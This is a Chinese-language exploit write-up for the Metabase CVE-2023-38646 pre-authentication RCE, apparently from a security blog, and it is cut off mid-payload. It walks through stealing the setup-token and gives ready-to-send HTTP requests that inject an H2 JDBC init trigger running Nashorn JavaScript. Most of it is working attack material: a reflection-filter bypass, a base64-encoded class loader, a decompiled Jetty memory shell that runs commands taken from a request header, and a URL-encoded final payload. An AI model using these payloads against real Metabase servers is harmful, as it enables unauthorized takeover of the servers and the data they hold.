参考文章:
http://www.bmth666.cn/2023/08/18/CVE-2023-38646-Metabase-RCE/
https://xz.aliyun.com/t/12792#toc-2
虽然这漏洞七月份就出来了,并且橘子酱师傅在知识星球有过文章了。我现在十月份才跟到,但是我逛了一圈发现该漏洞只有一些简单命令执行的文章(应该),并没有利用文章,所以做了个简单GUI工具然后学习了一下怎么构造哥斯拉内存马。请大佬们轻喷QWQ
直接选择jar包
https://downloads.metabase.com/v0.46.6/metabase.jar
然后java -jar xxx.jar
注意jdk版本必须大于或等于11,然后将依赖给引入。
然后即可开始调试分析了。
该漏洞是由于Metabase未授权获取了token导致我们可以重置jdbc的url连接,我们可以进行H2 RCE来进一步利用。该漏洞始于一个未授权访问,根据github的diff可以发现
在新版本中删除了上一个版本中残余的setup-token,假如我们获取了token我们可以访问/validate
路由对jdbc进行校验,而jdbc校验的时候就造成了JDBC注入,metabase是基于H2数据库的,所以利用面很广
我们首先可以访问[http://localhost:3000/api/session/properties](http://localhost:3000/api/session/properties)
获取setup-token
然后构造以下恶意包。
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 735
{
"token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
进入了test-database-connection方法,携带参数details
其中可以利用URL的zip功能去加载db文件zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;。metabase自带了一个h2的db文件,因此我们可以得以利用H2 RCE
可以看到metabase默认的数据库使用的是h2,我们可以操控其init参数造成注入
在这里提取INIT参数,接下来进行编译。
如果语句以//javascript开头就调用JavaScript引擎去编译语句。
可以看到js引擎是nashornScriptEngine,因此可以执行任意的java语句,包括加载内存马。
最后RCE成功。
其中有个必要条件就是db文件的位置,上述我们使用zip协议去获取的。但是假如我们不知道jar包的位置,那么就无法完成利用,只有当我们环境变量配置了java,并且是在metabase.jar文件所在位置执行的java -jar metabase.jar
,我们才可以用./metabase.jar!/xxxx
去获取。否则利用无法完成。
我们之前了解过nodejs有关特性,其实在进行jdbc连接是时候有这么一个操作
这一段会移除init参数,但为啥我们还可以利用呢?
在这里压根没检测出init参数。假如检测出了,那也可以绕过,用unicode去绕
这个命令执行比较有限制,首先是cmd-header必须和下面说的payload一起发送才生效,也就是一次性的,这是参考bmth师傅文章里的
try { load("nashorn:mozilla_compat.js"); } catch (e) {} function getUnsafe(){ var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafeMethod.setAccessible(true); return theUnsafeMethod.get(null); } function removeClassCache(clazz){ var unsafe = getUnsafe(); var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null); var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData"); unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null); } function bypassReflectionFilter() { var reflectionClass; try { reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection"); } catch (error) { reflectionClass = java.lang.Class.forName("sun.reflect.Reflection"); } var unsafe = getUnsafe(); var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes(); var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null); var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap"); if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance()); } if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance()); } removeClassCache(java.lang.Class.forName("java.lang.Class")); } function setAccessible(accessibleObject){ var unsafe = getUnsafe(); var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override"); var offset = unsafe.objectFieldOffset(overrideField); unsafe.putBoolean(accessibleObject, offset, true); } function defineClass(){ var classBytes = "yv66vgAAADQBJwoAHACbCgBTAJwHAJ0KAAMAngoAnwCgCgCfAKEKABwAoggAggoAGgCjCgCkAKUKAKQApgcAgwgAeAgAdgcAfAgAdQkApwCoCgAaAKkKAKoAqwgArAoAGwCtCACuCgAaAK8KALAAsQgAsgcAswcAtAcAtQgAYwcAtgoAHgCbCAC3CgAeALgKAFMAuQoAHgC6CAC7CAC8BwC9CgAmAKsKACYAvggAvwgAwAoAGgDBCADCCADDCADECABvCADFCADGCADHBwDICgAbAMkKADMAygoAMwC+CADLCgAbAMwIAM0KAKcAzgoAGwDPCgAbANAIANEKABsA0ggA0wgA1AgA1QgA1ggA1wgA2AgA2QoA2gDbCgDaANwHAN0KAN4A3woASADgCADhCgBIAOIKAEgA4woASADkCgDeAOUKAN4A5goAAwC6CADnBwDoAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQARTHRvb2xzL0pldHR5RWNobzsBAA1TdGFja01hcFRhYmxlBwDoBwCdAQAGaW52b2tlAQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAtwcmludFdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAC2h0dHBDaGFubmVsAQASTGphdmEvbGFuZy9PYmplY3Q7AQANX2NoYW5uZWxGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA5odHRwQ29ubmVjdGlvbgEAD2Nvbm5lY3Rpb25GaWVsZAEAFXVuZGVybHlpbmdPdXRwdXRGaWVsZAEAEHVuZGVybHlpbmdPdXRwdXQBAAdyZXF1ZXN0AQAIcmVzcG9uc2UBAAxvdXRwdXRTdHJlYW0BABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAKdmFsdWVGaWVsZAEABXZhbHVlAQAFdGFibGUBABF0aHJlYWRMb2NhbHNGaWVsZAEADHRocmVhZExvY2FscwEACnRhYmxlRmllbGQBAAp0YWJsZVZhbHVlAQAGdGFibGVzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEABWdyb3VwAQAXTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAFmAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAOkHAOoHAOsHALUBAApFeGNlcHRpb25zAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAJvcwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKZXhlY3V0ZUNtZAEAE1tMamF2YS9sYW5nL1N0cmluZzsHALQHAOwHAJIHAN0HALYHAO0BAApTb3VyY2VGaWxlAQAOSmV0dHlFY2hvLmphdmEMAFQAVQwAYABVAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7gBVBwDrDADvAPAMAPEA8gwA8wD0DAD1APYHAOoMAPcA+AwA+QD6BwD7DAD8AP0MAP4A/wcBAAwBAQECAQATQXN5bmNIdHRwQ29ubmVjdGlvbgwBAwEEAQAKZ2V0UmVxdWVzdAwBBQEGBwEHDABgAQgBAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL09iamVjdAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQABCgwBCQEKDACJAIoMAQsA/wEADmdldFByaW50V3JpdGVyAQAFdXRmLTgBABNqYXZhL2lvL1ByaW50V3JpdGVyDAEMAFUBAA5IdHRwQ29ubmVjdGlvbgEADmdldEh0dHBDaGFubmVsDAENAQYBAAtnZXRSZXNwb25zZQEACWdldFdyaXRlcgEAB0NoYW5uZWwBAAhfY2hhbm5lbAEABnRoaXMkMAEAD2dldE91dHB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtDAEOAQ8MARABEQEAAAwBEgETAQAHb3MubmFtZQwBFACKDAEVAP8MARYA/wEAA3dpbgwBFwEYAQAEcGluZwEAAi1uAQAFIC1uIDQBAAIvYwEABSAtdCA0AQACc2gBAAItYwcBGQwBGgEbDACJARwBABFqYXZhL3V0aWwvU2Nhbm5lcgcA7AwBHQEeDABUAR8BAAJcYQwBIAEhDAEiASMMASQA/wwBJQEeDAEmAFUBABBjb21tYW5kIG5vdCBudWxsAQAPdG9vbHMvSmV0dHlFY2hvAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABBqYXZhL2xhbmcvVGhyZWFkAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAPcHJpbnRTdGFja1RyYWNlAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhlbmRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRl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"; var bytes = java.util.Base64.getDecoder().decode(classBytes); var clz = null; var version = java.lang.System.getProperty("java.version"); var unsafe = getUnsafe(); var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0)); try{ if (version.split(".")[0] >= 11) { bypassReflectionFilter(); defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE); setAccessible(defineClassMethod); clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length); }else{ var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []); clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain); } }catch(error){ error.printStackTrace(); }finally{ return clz.newInstance(); } } defineClass();
最终payload如上,我们先反编译一下其中的内存马。
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package tools; import java.io.OutputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner; public class JettyEcho { public JettyEcho() { try { this.invoke(); } catch (Exception var2) { var2.printStackTrace(); } } public void invoke() throws Exception { ThreadGroup group = Thread.currentThread().getThreadGroup(); Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[])((Thread[])f.get(group)); Thread[] var4 = threads; int var5 = threads.length; for(int var6 = 0; var6 < var5; ++var6) { Thread thread = var4[var6]; try { Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object threadLocals = threadLocalsField.get(thread); if (threadLocals != null) { Field tableField = threadLocals.getClass().getDeclaredField("table"); tableField.setAccessible(true); Object tableValue = tableField.get(threadLocals); if (tableValue != null) { Object[] tables = (Object[])((Object[])tableValue); Object[] var13 = tables; int var14 = tables.length; for(int var15 = 0; var15 < var14; ++var15) { Object table = var13[var15]; if (table != null) { Field valueField = table.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(table); if (value != null) { System.out.println(value.getClass().getName()); Method method; String cmd; if (value.getClass().getName().endsWith("AsyncHttpConnection")) { method = value.getClass().getMethod("getRequest", (Class[])null); value = method.invoke(value, (Object[])null); method = value.getClass().getMethod("getHeader", String.class); String cmd = (String)method.invoke(value, "cmd"); cmd = "\n" + this.exec(cmd); method = value.getClass().getMethod("getPrintWriter", String.class); PrintWriter printWriter = (PrintWriter)method.invoke(value, "utf-8"); printWriter.println(cmd); printWriter.flush(); return; } Object underlyingOutput; if (value.getClass().getName().endsWith("HttpConnection")) { method = value.getClass().getDeclaredMethod("getHttpChannel", (Class[])null); underlyingOutput = method.invoke(value, (Object[])null); method = underlyingOutput.getClass().getMethod("getRequest", (Class[])null); value = method.invoke(underlyingOutput, (Object[])null); method = value.getClass().getMethod("getHeader", String.class); cmd = (String)method.invoke(value, "cmd"); String result = "\n" + this.exec(cmd); method = underlyingOutput.getClass().getMethod("getResponse", (Class[])null); value = method.invoke(underlyingOutput, (Object[])null); method = value.getClass().getMethod("getWriter", (Class[])null); PrintWriter printWriter = (PrintWriter)method.invoke(value, (Object[])null); printWriter.println(result); printWriter.flush(); return; } if (value.getClass().getName().endsWith("Channel")) { Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput"); underlyingOutputField.setAccessible(true); underlyingOutput = underlyingOutputField.get(value); Object httpConnection; try { Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel"); _channelField.setAccessible(true); httpConnection = _channelField.get(underlyingOutput); } catch (Exception var27) { Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0"); connectionField.setAccessible(true); httpConnection = connectionField.get(underlyingOutput); } Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection); Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection); String cmd = (String)request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd"); OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response); String result = "\n" + this.exec(cmd); outputStream.write(result.getBytes()); outputStream.flush(); return; } } } } } } } catch (Exception var28) { } } } public String exec(String cmd) { if (cmd != null && !"".equals(cmd)) { String os = System.getProperty("os.name").toLowerCase(); cmd = cmd.trim(); Process process = null; String[] executeCmd = null; if (os.contains("win")) { if (cmd.contains("ping") && !cmd.contains("-n")) { cmd = cmd + " -n 4"; } executeCmd = new String[]{"cmd", "/c", cmd}; } else { if (cmd.contains("ping") && !cmd.contains("-n")) { cmd = cmd + " -t 4"; } executeCmd = new String[]{"sh", "-c", cmd}; } String output; try { process = Runtime.getRuntime().exec(executeCmd); Scanner s = (new Scanner(process.getInputStream())).useDelimiter("\\a"); output = s.hasNext() ? s.next() : ""; s = (new Scanner(process.getErrorStream())).useDelimiter("\\a"); output = output + (s.hasNext() ? s.next() : ""); String var7 = output; return var7; } catch (Exception var11) { var11.printStackTrace(); output = var11.toString(); } finally { if (process != null) { process.destroy(); } } return output; } else { return "command not null"; } } }
目标环境是jetty11,所以和之前的jetty9有些许不同,还在摸索。
这里我最终的payload如下,是跟着白帽酱师傅写出来的。
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-client-data:cmd
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533; _ga=GA1.1.1767171371.1694851001; _gid=GA1.1.502142343.1694851001; _gat=1
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 17244
{
"token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009eval(decodeURIComponent('try%20%7B%0A%20%20load(%22nashorn%3Amozilla_compat.js%22)%3B%0A%7D%20catch%20(e)%20%7B%7D%0Afunction%20getUnsafe()%7B%0A%20%20var%20theUnsafeMethod%20%3D%20java.lang.Class.forName(%22sun.misc.Unsafe%22).getDeclaredField(%22theUnsafe%22)%3B%0A%20%20theUnsafeMethod.setAccessible(true)%3B%20%0A%20%20return%20theUnsafeMethod.get(null)%3B%0A%7D%0Afunction%20removeClassCache(clazz)%7B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20clazzAnonymousClass%20%3D%20unsafe.defineAnonymousClass(clazz%2Cjava.lang.Class.forName(%22java.lang.Class%22).getResourceAsStream(%22Class.class%22).readAllBytes()%2Cnull)%3B%0A%20%20var%20reflectionDataField%20%3D%20clazzAnonymousClass.getDeclaredField(%22reflectionData%22)%3B%0A%20%20unsafe.putObject(clazz%2Cunsafe.objectFieldOffset(reflectionDataField)%2Cnull)%3B%0A%7D%0Afunction%20bypassReflectionFilter()%20%7B%0A%20%20var%20reflectionClass%3B%0A%20%20try%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22jdk.internal.reflect.Reflection%22)%3B%0A%20%20%7D%20catch%20(error)%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22sun.reflect.Reflection%22)%3B%0A%20%20%7D%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classBuffer%20%3D%20reflectionClass.getResourceAsStream(%22Reflection.class%22).readAllBytes()%3B%0A%20%20var%20reflectionAnonymousClass%20%3D%20unsafe.defineAnonymousClass(reflectionClass%2C%20classBuffer%2C%20null)%3B%0A%20%20var%20fieldFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22fieldFilterMap%22)%3B%0A%20%20var%20methodFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22methodFilterMap%22)%3B%0A%20%20if%20(fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(fieldFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20if%20(methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(methodFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20removeClassCache(java.lang.Class.forName(%22java.lang.Class%22))%3B%0A%7D%0Afunction%20setAccessible(accessibleObject)%7B%0A%20%20%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20%20%20var%20overrideField%20%3D%20java.lang.Class.forName(%22java.lang.reflect.AccessibleObject%22).getDeclaredField(%22override%22)%3B%0A%20%20%20%20var%20offset%20%3D%20unsafe.objectFieldOffset(overrideField)%3B%0A%2